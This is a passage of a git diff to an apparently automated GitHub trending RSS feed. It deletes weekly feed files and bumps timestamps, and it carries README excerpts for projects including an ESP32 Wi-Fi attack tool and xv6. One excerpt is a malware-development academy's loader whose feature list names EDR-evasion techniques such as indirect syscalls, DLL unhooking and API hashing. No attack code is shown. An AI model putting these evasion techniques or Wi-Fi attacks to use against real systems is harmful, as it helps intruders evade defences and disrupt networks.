arbitrary 802.11 frames.</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/frame_analyzer"><strong>Frame Analyzer</strong></a> component processes captured frames and provides parsing functionality to other components.</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/pcap_serializer"><strong>PCAP Serializer</strong></a> component serializes captured frames into PCAP binary format and provides it to other components (mostly for webserver/UI)</li> <li><a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/components/hccapx_serializer"><strong>HCCAPX Serializer</strong></a> component serializes captured frames into HCCAPX binary format and provides it to other components (mostly for webserver/UI)</li> </ul> <h3>Further reading</h3> <ul> <li><a href="https://excel.fit.vutbr.cz/submissions/2021/048/48.pdf">Academic paper about this project (PDF)</a></li> </ul> <h2>Hardware</h2> <p>This project was mostly build and tested on <strong>ESP32-DEVKITC-32E</strong> but there should not be any differences for any <strong>ESP32-WROOM-32</strong> modules.</p> <p align="center"> <img src="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/images/soucastky_8b.png" alt="Hw components" width="400"> </p> <p>On the following pictures you can see a battery (Li-Pol accumulator) powered ESP32 DevKitC using following hardware:</p> <ul> <li><strong>ESP32-DEVKITC-32E</strong> (cost 213 CZK/8.2 EUR/9.6 USD)</li> <li>220mAh Li-Pol 3.7V accumulator (weights ±5g, cost 77 CZK/3 EUR/3.5 USD)</li> <li>MCP1702-3302ET step-down 3.3V voltage regulator (cost 11 CZK/0.42 EUR/0.50 USD)</li> <li>Czech 5-koruna coin for scale (weights 4.8g, diameter 23 mm, cost 0.19 EUR/0.23 USD)</li> </ul> <p align="center"> <img src="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/images/mini.jpg" alt="Hw components" width="300"> <img src="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/doc/images/mini2.jpg" alt="Hw components" width="300"> </p> <p>Altogether (without coin) this setup weights around 17g. This can be further downsized by using smaller Li-Pol accumulator and using ESP32-WROOM-32 modul directly instead of whole dev board.</p> <p>This setup cost me around 300 CZK (± 11.50 EUR/13.50 USD). Using the modul directly that costs around 80 CZK (± 3 EUR/3.5 USD) we can get to price of 160 CZK (± 6.5 EUR/7.5 USD) which makes this tool really cheap and available to almost everybody.</p> <h3>Power consumption</h3> <p>Based on experimental measurements, ESP32 consumes around 100mA during attack executions.</p> <h2>Similar projects</h2> <ul> <li><a href="https://github.com/GANESH-ICMC/esp32-deauther">GANESH-ICMC/esp32-deauther</a></li> <li><a href="https://github.com/SpacehuhnTech/esp8266_deauther">SpacehuhnTech/esp8266_deauther</a></li> <li><a href="https://github.com/justcallmekoko/ESP32Marauder">justcallmekoko/ESP32Marauder</a></li> <li><a href="https://www.tindie.com/products/klhnikov/esp32-network-toolbox/">EParisot/esp32-network-toolbox</a></li> <li><a href="https://github.com/Jeija/esp32free80211">Jeija/esp32free80211</a></li> </ul> <h2>Contributing</h2> <p>Feel free to contribute. Don't hestitate to refactor current code base. Please stick to Doxygen notation when commenting new functions and files. This project is mainly build for educational and demonstration purposes, so verbose documentation is welcome.</p> <h2>Disclaimer</h2> <p>This project demonstrates vulnerabilities of Wi-Fi networks and its underlaying 802.11 standard and how ESP32 platform can be utilised to attack on those vulnerable spots. Use responsibly against networks you have permission to attack on.</p> <h2>License</h2> <p>Even though this project is licensed under MIT license (see <a href="https://raw.githubusercontent.com/risinek/esp32-wifi-penetration-tool/master/LICENSE">LICENSE</a> file for details), don't be shy or greedy and share your work.</p> + Maldev-Academy/MaldevAcademyLdr.1 + 2023-09-25T01:25:44Z + tag:github.com,2023-09-25:/Maldev-Academy/MaldevAcademyLdr.1 + + <p></p><hr><h1>MaldevAcademyLdr.1</h1> <h2>Quick Links</h2> <ul> <li> <p>Maldev Academy Home - <a href="https://maldevacademy.com">https://maldevacademy.com</a></p> </li> <li> <p>Maldev Academy Syllabus - <a href="https://maldevacademy.com/syllabus">https://maldevacademy.com/syllabus</a></p> </li> <li> <p>Maldev Academy Pricing - <a href="https://maldevacademy.com/pricing">https://maldevacademy.com/pricing</a></p> </li> </ul> <h2>EXE Loader</h2> <p>Maldev Academy's October update saw several interesting modules being released to our users. One of them was our DLL loader that was successfully tested against several EDRs including MDE and Crowdstrike.</p> <p>We promised to release an EXE version of the loader on GitHub.</p> <table> <thead> <tr> <th align="center"><img src="https://github.com/Maldev-Academy/MaldevAcademyLdr.1/raw/main/tweet.png" alt="tweet"></th> </tr> </thead> <tbody> <tr> <td align="center"><em><a href="https://twitter.com/MalDevAcademy/status/1701981413938012462">https://twitter.com/MalDevAcademy/status/1701981413938012462</a></em></td> </tr> </tbody> </table> <h2>Features</h2> <ul> <li> <p>Indirect-Syscalls using an improved HellsHall implementation.</p> </li> <li> <p>Dll Unhooking via the \KnownDlls\ directory</p> </li> <li> <p>Payload injection by chunking</p> </li> <li> <p>Using custom AES encryption library.</p> </li> <li> <p>Executing payload via Thread Pool APIs.</p> </li> <li> <p>Obfuscating IAT using API hashing and API camouflage.</p> </li> <li> <p>CRT library independent.</p> </li> </ul> <h2>Demo</h2> <p><a href="https://github.com/Maldev-Academy/MaldevAcademyLdr.1/raw/main/demo.mp4"><img src="https://github.com/Maldev-Academy/MaldevAcademyLdr.1/raw/main/demo-cover.png" alt="Demo"></a></p> + + + mistymntncop/CVE-2023-4863 + 2023-09-25T01:25:44Z + tag:github.com,2023-09-25:/mistymntncop/CVE-2023-4863 + + <p></p><hr><h1>CVE-2023-4863/CVE-2023-41064</h1> <p>A POC for CVE-2023-4863. NOT an exploit Shout to @benhawkes who discovered the right set of code_lengths to trigger this vulnerability! Please consult Ben's blog post for more information! <a href="https://blog.isosceles.com/the-webp-0day/">https://blog.isosceles.com/the-webp-0day/</a></p> \ No newline at end of file diff --git a/c/weekly/index.xml b/c/weekly/index.xml deleted file mode 100644 index 7d20e1bd83c..00000000000 --- a/c/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:58Z - Weekly Trending of C in GitHub - - - mit-pdos/xv6-riscv - 2023-09-24T01:46:58Z - tag:github.com,2023-09-24:/mit-pdos/xv6-riscv - - <p>Xv6 for RISC-V</p><hr><p>xv6 is a re-implementation of Dennis Ritchie's and Ken Thompson's Unix Version 6 (v6). xv6 loosely follows the structure and style of v6, but is implemented for a modern RISC-V multiprocessor using ANSI C.</p> <p>ACKNOWLEDGMENTS</p> <p>xv6 is inspired by John Lions's Commentary on UNIX 6th Edition (Peer to Peer Communications; ISBN: 1-57398-013-7; 1st edition (June 14, 2000)). See also <a href="https://pdos.csail.mit.edu/6.1810/">https://pdos.csail.mit.edu/6.1810/</a>, which provides pointers to on-line resources for v6.</p> <p>The following people have made contributions: Russ Cox (context switching, locking), Cliff Frey (MP), Xiao Yu (MP), Nickolai Zeldovich, and Austin Clements.</p> <p>We are also grateful for the bug reports and patches contributed by Takahiro Aoyagi, Silas Boyd-Wickizer, Anton Burtsev, carlclone, Ian Chen, Dan Cross, Cody Cutler, Mike CAT, Tej Chajed, Asami Doi, eyalz800, Nelson Elhage, Saar Ettinger, Alice Ferrazzi, Nathaniel Filardo, flespark, Peter Froehlich, Yakir Goaron, Shivam Handa, Matt Harvey, Bryan Henry, jaichenhengjie, Jim Huang, Matúš Jókay, John Jolly, Alexander Kapshuk, Anders Kaseorg, kehao95, Wolfgang Keller, Jungwoo Kim, Jonathan Kimmitt, Eddie Kohler, Vadim Kolontsov, Austin Liew, l0stman, Pavan Maddamsetti, Imbar Marinescu, Yandong Mao, Matan Shabtay, Hitoshi Mitake, Carmi Merimovich, Mark Morrissey, mtasm, Joel Nider, Hayato Ohhashi, OptimisticSide, Harry Porter, Greg Price, Jude Rich, segfault, Ayan Shafqat, Eldar Sehayek, Yongming Shen, Fumiya Shigemitsu, Cam Tenny, tyfkda, Warren Toomey, Stephen Tu, Rafael Ubal, Amane Uehara, Pablo Ventura, Xi Wang, WaheedHafez, Keiichi Watanabe, Nicolas Wolovick, wxdao, Grant Wu, Jindong Zhang, Icenowy Zheng, ZhUyU1997, and Zou Chang Wei.</p> <p>The code in the files that constitute xv6 is Copyright 2006-2022 Frans Kaashoek, Robert Morris, and Russ Cox.</p> <p>ERROR REPORTS</p> <p>Please send errors and suggestions to Frans Kaashoek and Robert Morris (kaashoek,<a href="mailto:rtm@mit.edu">rtm@mit.edu</a>). The main purpose of xv6 is as a teaching operating system for MIT's 6.1810, so we are more interested in simplifications and clarifications than new features.</p> <p>BUILDING AND RUNNING XV6</p> <p>You will need a RISC-V "newlib" tool chain from <a href="https://github.com/riscv/riscv-gnu-toolchain">https://github.com/riscv/riscv-gnu-toolchain</a>, and qemu compiled for riscv64-softmmu. Once they are installed, and in your shell search path, you can run "make qemu".</p> - - - pgbouncer/pgbouncer - 2023-09-24T01:46:58Z - tag:github.com,2023-09-24:/pgbouncer/pgbouncer - - <p>lightweight connection pooler for PostgreSQL</p><hr><h1>PgBouncer</h1> <p>Lightweight connection pooler for PostgreSQL.</p> <p>Homepage: <a href="https://www.pgbouncer.org/">https://www.pgbouncer.org/</a></p> <p>Sources, bug tracking: <a href="https://github.com/pgbouncer/pgbouncer">https://github.com/pgbouncer/pgbouncer</a></p> <h2>Building</h2> <p>PgBouncer depends on few things to get compiled:</p> <ul> <li><a href="https://www.gnu.org/software/make/">GNU Make</a> 3.81+</li> <li><a href="http://libevent.org/">Libevent</a> 2.0+</li> <li><a href="https://www.freedesktop.org/wiki/Software/pkg-config/">pkg-config</a></li> <li><a href="https://www.openssl.org/">OpenSSL</a> 1.0.1+ for TLS support</li> <li>(optional) <a href="http://c-ares.haxx.se/">c-ares</a> as alternative to Libevent's evdns</li> <li>(optional) PAM libraries</li> </ul> <p>When dependencies are installed just run:</p> <pre><code>$ ./configure --prefix=/usr/local $ make $ make install </code></pre> <p>If you are building from Git, or are building for Windows, please see separate build instructions below.</p> <h2>DNS lookup support</h2> <p>PgBouncer does host name lookups at connect time instead of just once at configuration load time. This requires an asynchronous DNS implementation. The following table shows supported backends and their probing order:</p> <table> <thead> <tr> <th>backend</th> <th>parallel</th> <th>EDNS0 (1)</th> <th>/etc/hosts</th> <th>SOA lookup (2)</th> <th>note</th> </tr> </thead> <tbody> <tr> <td>c-ares</td> <td>yes</td> <td>yes</td> <td>yes</td> <td>yes</td> <td>IPv6+CNAME buggy in &lt;=1.10</td> </tr> <tr> <td>evdns, libevent 2.x</td> <td>yes</td> <td>no</td> <td>yes</td> <td>no</td> <td>does not check /etc/hosts updates</td> </tr> <tr> <td>getaddrinfo_a, glibc 2.9+</td> <td>yes</td> <td>yes (3)</td> <td>yes</td> <td>no</td> <td>N/A on non-glibc</td> </tr> <tr> <td>getaddrinfo, libc</td> <td>no</td> <td>yes (3)</td> <td>yes</td> <td>no</td> <td>requires pthreads</td> </tr> </tbody> </table> <ol> <li>EDNS0 is required to have more than 8 addresses behind one host name.</li> <li>SOA lookup is needed to re-check host names on zone serial change.</li> <li>To enable EDNS0, add <code>options edns0</code> to <code>/etc/resolv.conf</code>.</li> </ol> <p>c-ares is the most fully-featured implementation and is recommended for most uses and binary packaging (if a sufficiently new version is available). Libevent's built-in evdns is also suitable for many uses, with the listed restrictions. The other backends are mostly legacy options at this point and don't receive much testing anymore.</p> <p>By default, c-ares is used if it can be found. Its use can be forced with <code>configure --with-cares</code> or disabled with <code>--without-cares</code>. If c-ares is not used (not found or disabled), then Libevent is used. Specify <code>--disable-evdns</code> to disable the use of Libevent's evdns and fall back to a libc-based implementation.</p> <h2>PAM authentication</h2> <p>To enable PAM authentication, <code>./configure</code> has a flag <code>--with-pam</code> (default value is no). When compiled with PAM support, a new global authentication type <code>pam</code> is available to validate users through PAM.</p> <h2>systemd integration</h2> <p>To enable systemd integration, use the <code>configure</code> option <code>--with-systemd</code>. This allows using <code>Type=notify</code> service units as well as socket activation. See <code>etc/pgbouncer.service</code> and <code>etc/pgbouncer.socket</code> for examples.</p> <h2>Building from Git</h2> <p>Building PgBouncer from Git requires that you fetch the libusual submodule and generate the header and configuration files before you can run <code>configure</code>:</p> <pre><code>$ git clone https://github.com/pgbouncer/pgbouncer.git $ cd pgbouncer $ git submodule init $ git submodule update $ ./autogen.sh $ ./configure ... $ make $ make install </code></pre> <p>Additional packages required: autoconf, automake, libtool, pandoc</p> <h2>Testing</h2> <p>See the <a href="https://github.com/pgbouncer/pgbouncer/raw/master/test/README.md"><code>README.md</code> file in the test directory</a> on how to run the tests.</p> <h2>Building on Windows</h2> <p>The only supported build environment on Windows is MinGW. Cygwin and Visual $ANYTHING are not supported.</p> <p>To build on MinGW, do the usual:</p> <pre><code>$ ./configure ... $ make </code></pre> <p>If cross-compiling from Unix:</p> <pre><code>$ ./configure --host=i586-mingw32msvc ... </code></pre> <h2>Running on Windows</h2> <p>Running from the command line goes as usual, except that the <code>-d</code> (daemonize), <code>-R</code> (reboot), and <code>-u</code> (switch user) switches will not work.</p> <p>To run PgBouncer as a Windows service, you need to configure the <code>service_name</code> parameter to set a name for the service. Then:</p> <pre><code>$ pgbouncer -regservice config.ini </code></pre> <p>To uninstall the service:</p> <pre><code>$ pgbouncer -unregservice config.ini </code></pre> <p>To use the Windows event log, set <code>syslog = 1</code> in the configuration file. But before that, you need to register <code>pgbevent.dll</code>:</p> <pre><code>$ regsvr32 pgbevent.dll </code></pre> <p>To unregister it, do:</p> <pre><code>$ regsvr32 /u pgbevent.dll </code></pre> - - - OISF/suricata - 2023-09-24T01:46:58Z - tag:github.com,2023-09-24:/OISF/suricata - - <p>Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine developed by the OISF and the Suricata community.</p><hr><h1>Suricata</h1> <p><a href="https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&amp;can=1&amp;q=proj:suricata"><img src="https://oss-fuzz-build-logs.storage.googleapis.com/badges/suricata.svg?sanitize=true" alt="Fuzzing Status"></a> <a href="https://codecov.io/gh/OISF/suricata"><img src="https://codecov.io/gh/OISF/suricata/branch/master/graph/badge.svg?token=QRyyn2BSo1" alt="codecov"></a></p> <h2>Introduction</h2> <p><a href="https://suricata.io">Suricata</a> is a network IDS, IPS and NSM engine developed by the <a href="https://oisf.net">OISF</a> and the Suricata community.</p> <h2>Installation</h2> <p><a href="https://docs.suricata.io/en/latest/install.html">https://docs.suricata.io/en/latest/install.html</a></p> <h2>User Guide</h2> <p>You can follow the <a href="https://docs.suricata.io/en/latest/">Suricata user guide</a> to get started.</p> <h2>Contributing</h2> <p>We're happily taking patches and other contributions. Please see our <a href="https://docs.suricata.io/en/latest/devguide/codebase/contributing/contribution-process.html">Contribution Process</a> for how to get started.</p> <p>Suricata is a complex piece of software dealing with mostly untrusted input. Mishandling this input will have serious consequences:</p> <ul> <li>in IPS mode a crash may knock a network offline;</li> <li>in passive mode a compromise of the IDS may lead to loss of critical and confidential data;</li> <li>missed detection may lead to undetected compromise of the network.</li> </ul> <p>In other words, we think the stakes are pretty high, especially since in many common cases the IDS/IPS will be directly reachable by an attacker.</p> <p>For this reason, we have developed a QA process that is quite extensive. A consequence is that contributing to Suricata can be a somewhat lengthy process.</p> <p>On a high level, the steps are:</p> <ol> <li> <p>GitHub-CI based checks. This runs automatically when a pull request is made.</p> </li> <li> <p>Review by devs from the team and community</p> </li> <li> <p>QA runs from private QA setups. These are private due to the nature of the test traffic.</p> </li> </ol> <h3>Overview of Suricata's QA steps</h3> <p>OISF team members are able to submit builds to our private QA setup. It will run a series of build tests and a regression suite to confirm no existing features break.</p> <p>The final QA runs takes a few hours minimally, and generally runs overnight. It currently runs:</p> <ul> <li>extensive build tests on different OS', compilers, optimization levels, configure features</li> <li>static code analysis using cppcheck, scan-build</li> <li>runtime code analysis using valgrind, AddressSanitizer, LeakSanitizer</li> <li>regression tests for past bugs</li> <li>output validation of logging</li> <li>unix socket testing</li> <li>pcap based fuzz testing using ASAN and LSAN</li> <li>traffic replay based IDS and IPS tests</li> </ul> <p>Next to these tests, based on the type of code change further tests can be run manually:</p> <ul> <li>traffic replay testing (multi-gigabit)</li> <li>large pcap collection processing (multi-terabytes)</li> <li>fuzz testing (might take multiple days or even weeks)</li> <li>pcap based performance testing</li> <li>live performance testing</li> <li>various other manual tests based on evaluation of the proposed changes</li> </ul> <p>It's important to realize that almost all of the tests above are used as acceptance tests. If something fails, it's up to you to address this in your code.</p> <p>One step of the QA is currently run post-merge. We submit builds to the Coverity Scan program. Due to limitations of this (free) service, we can submit once a day max. Of course it can happen that after the merge the community will find issues. For both cases we request you to help address the issues as they may come up.</p> <h3>FAQ</h3> <p><strong>Q: Will you accept my PR?</strong></p> <p>A: That depends on a number of things, including the code quality. With new features it also depends on whether the team and/or the community think the feature is useful, how much it affects other code and features, the risk of performance regressions, etc.</p> <p><strong>Q: When will my PR be merged?</strong></p> <p>A: It depends, if it's a major feature or considered a high risk change, it will probably go into the next major version.</p> <p><strong>Q: Why was my PR closed?</strong></p> <p>A: As documented in the <a href="https://docs.suricata.io/en/latest/devguide/codebase/contributing/github-pr-workflow.html">Suricata GitHub workflow</a>, we expect a new pull request for every change.</p> <p>Normally, the team (or community) will give feedback on a pull request after which it is expected to be replaced by an improved PR. So look at the comments. If you disagree with the comments we can still discuss them in the closed PR.</p> <p>If the PR was closed without comments it's likely due to QA failure. If the GitHub-CI checks failed, the PR should be fixed right away. No need for a discussion about it, unless you believe the QA failure is incorrect.</p> <p><strong>Q: the compiler/code analyser/tool is wrong, what now?</strong></p> <p>A: To assist in the automation of the QA, we're not accepting warnings or errors to stay. In some cases this could mean that we add a suppression if the tool supports that (e.g. valgrind, DrMemory). Some warnings can be disabled. In some exceptional cases the only 'solution' is to refactor the code to work around a static code checker limitation false positive. While frustrating, we prefer this over leaving warnings in the output. Warnings tend to get ignored and then increase risk of hiding other warnings.</p> <p><strong>Q: I think your QA test is wrong</strong></p> <p>A: If you really think it is, we can discuss how to improve it. But don't come to this conclusion too quickly, more often it's the code that turns out to be wrong.</p> <p><strong>Q: do you require signing of a contributor license agreement?</strong></p> <p>A: Yes, we do this to keep the ownership of Suricata in one hand: the Open Information Security Foundation. See <a href="http://suricata.io/about/open-source/">http://suricata.io/about/open-source/</a> and <a href="http://suricata.io/about/contribution-agreement/">http://suricata.io/about/contribution-agreement/</a></p> - - \ No newline at end of file diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml index 8ae638e2206..57f96620f9c 100644 --- a/c2hs-haskell/daily/index.xml +++ b/c2hs-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub C2hs Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:37Z + 2023-09-25T01:25:55Z Daily Trending of C2hs Haskell in GitHub \ No newline at end of file diff --git a/c2hs-haskell/weekly/index.xml b/c2hs-haskell/weekly/index.xml deleted file mode 100644 index 9202df83d72..00000000000 --- a/c2hs-haskell/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub C2hs Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:14Z - Weekly Trending of C2hs Haskell in GitHub - - \ No newline at end of file diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml index 76c1188bdeb..619d1ada5ba 100644 --- a/cabal-config/daily/index.xml +++ b/cabal-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cabal Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:39Z + 2023-09-25T01:25:56Z Daily Trending of Cabal Config in GitHub \ No newline at end of file diff --git a/cabal-config/weekly/index.xml b/cabal-config/weekly/index.xml deleted file mode 100644 index b55f4224e3b..00000000000 --- a/cabal-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cabal Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:15Z - Weekly Trending of Cabal Config in GitHub - - \ No newline at end of file diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml index 35fd31395d9..1649ead545a 100644 --- a/cadence/daily/index.xml +++ b/cadence/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cadence Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:52Z + 2023-09-25T01:26:13Z Daily Trending of Cadence in GitHub \ No newline at end of file diff --git a/cadence/weekly/index.xml b/cadence/weekly/index.xml deleted file mode 100644 index 60554c9fd02..00000000000 --- a/cadence/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cadence Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:28Z - Weekly Trending of Cadence in GitHub - - \ No newline at end of file diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml index 85a75ce0805..cb8286a5248 100644 --- a/cairo/daily/index.xml +++ b/cairo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cairo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:53Z + 2023-09-25T01:26:14Z Daily Trending of Cairo in GitHub \ No newline at end of file diff --git a/cairo/weekly/index.xml b/cairo/weekly/index.xml deleted file mode 100644 index 4417b9b6a90..00000000000 --- a/cairo/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Cairo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:27Z - Weekly Trending of Cairo in GitHub - - - keep-starknet-strange/satoru - 2023-09-24T01:47:27Z - tag:github.com,2023-09-24:/keep-starknet-strange/satoru - - <p>Synthetics platform for Starknet, inspired by GMX v2 design.</p><hr> - - \ No newline at end of file diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml index bf828189678..7b156e1dca5 100644 --- a/cap'n-proto/daily/index.xml +++ b/cap'n-proto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cap'n Proto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:54Z + 2023-09-25T01:26:16Z Daily Trending of Cap'n Proto in GitHub \ No newline at end of file diff --git a/cap'n-proto/weekly/index.xml b/cap'n-proto/weekly/index.xml deleted file mode 100644 index 7a54c5432bb..00000000000 --- a/cap'n-proto/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cap'n Proto Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:30Z - Weekly Trending of Cap'n Proto in GitHub - - \ No newline at end of file diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml index f414dd47c34..6bd56057cba 100644 --- a/cartocss/daily/index.xml +++ b/cartocss/daily/index.xml @@ -1,7 +1,7 @@ GitHub CartoCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:57Z + 2023-09-25T01:26:18Z Daily Trending of CartoCSS in GitHub \ No newline at end of file diff --git a/cartocss/weekly/index.xml b/cartocss/weekly/index.xml deleted file mode 100644 index eb82865224d..00000000000 --- a/cartocss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CartoCSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:32Z - Weekly Trending of CartoCSS in GitHub - - \ No newline at end of file diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml index dab871ece3a..74a4e31782d 100644 --- a/ceylon/daily/index.xml +++ b/ceylon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ceylon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:55Z + 2023-09-25T01:26:17Z Daily Trending of Ceylon in GitHub \ No newline at end of file diff --git a/ceylon/weekly/index.xml b/ceylon/weekly/index.xml deleted file mode 100644 index add18c55b1a..00000000000 --- a/ceylon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ceylon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:29Z - Weekly Trending of Ceylon in GitHub - - \ No newline at end of file diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml index 5ff802674f9..104e5b23df2 100644 --- a/chapel/daily/index.xml +++ b/chapel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Chapel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:56Z + 2023-09-25T01:26:15Z Daily Trending of Chapel in GitHub \ No newline at end of file diff --git a/chapel/weekly/index.xml b/chapel/weekly/index.xml deleted file mode 100644 index 80605a874a9..00000000000 --- a/chapel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Chapel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:31Z - Weekly Trending of Chapel in GitHub - - \ No newline at end of file diff --git a/charity/daily/index.xml b/charity/daily/index.xml index a2d3c185f42..729e30efc5b 100644 --- a/charity/daily/index.xml +++ b/charity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Charity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:00Z + 2023-09-25T01:26:21Z Daily Trending of Charity in GitHub \ No newline at end of file diff --git a/charity/weekly/index.xml b/charity/weekly/index.xml deleted file mode 100644 index c29bbd3039d..00000000000 --- a/charity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Charity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:36Z - Weekly Trending of Charity in GitHub - - \ No newline at end of file diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml index 510e2ce196f..322831da9e2 100644 --- a/chuck/daily/index.xml +++ b/chuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub ChucK Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:59Z + 2023-09-25T01:26:22Z Daily Trending of ChucK in GitHub \ No newline at end of file diff --git a/chuck/weekly/index.xml b/chuck/weekly/index.xml deleted file mode 100644 index da261a6f9db..00000000000 --- a/chuck/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ChucK Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:33Z - Weekly Trending of ChucK in GitHub - - \ No newline at end of file diff --git a/cil/daily/index.xml b/cil/daily/index.xml index 58fd2950843..d9d80598e7b 100644 --- a/cil/daily/index.xml +++ b/cil/daily/index.xml @@ -1,7 +1,7 @@ GitHub CIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:27:58Z + 2023-09-25T01:26:20Z Daily Trending of CIL in GitHub \ No newline at end of file diff --git a/cil/weekly/index.xml b/cil/weekly/index.xml deleted file mode 100644 index 1eabd5cb13e..00000000000 --- a/cil/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CIL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:35Z - Weekly Trending of CIL in GitHub - - \ No newline at end of file diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml index feb93b17022..aca433b2c70 100644 --- a/cirru/daily/index.xml +++ b/cirru/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cirru Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:04Z + 2023-09-25T01:26:26Z Daily Trending of Cirru in GitHub \ No newline at end of file diff --git a/cirru/weekly/index.xml b/cirru/weekly/index.xml deleted file mode 100644 index b62b78c0710..00000000000 --- a/cirru/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cirru Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:39Z - Weekly Trending of Cirru in GitHub - - \ No newline at end of file diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml index 51d35714c69..792fc88b138 100644 --- a/clarion/daily/index.xml +++ b/clarion/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:03Z + 2023-09-25T01:26:24Z Daily Trending of Clarion in GitHub \ No newline at end of file diff --git a/clarion/weekly/index.xml b/clarion/weekly/index.xml deleted file mode 100644 index d472963f73c..00000000000 --- a/clarion/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clarion Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:37Z - Weekly Trending of Clarion in GitHub - - \ No newline at end of file diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml index 75c65060710..817e4d7b738 100644 --- a/clarity/daily/index.xml +++ b/clarity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:01Z + 2023-09-25T01:26:25Z Daily Trending of Clarity in GitHub \ No newline at end of file diff --git a/clarity/weekly/index.xml b/clarity/weekly/index.xml deleted file mode 100644 index 5bd6b762acd..00000000000 --- a/clarity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Clarity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:38Z - Weekly Trending of Clarity in GitHub - - \ No newline at end of file diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml index 4e405afc050..ef17c4d9c35 100644 --- a/classic-asp/daily/index.xml +++ b/classic-asp/daily/index.xml @@ -1,7 +1,7 @@ GitHub Classic ASP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:28:06Z + 2023-09-25T01:26:31Z Daily Trending of Classic ASP in GitHub \ No newline at end of file diff --git a/classic-asp/weekly/index.xml b/classic-asp/weekly/index.xml deleted file mode 100644 index 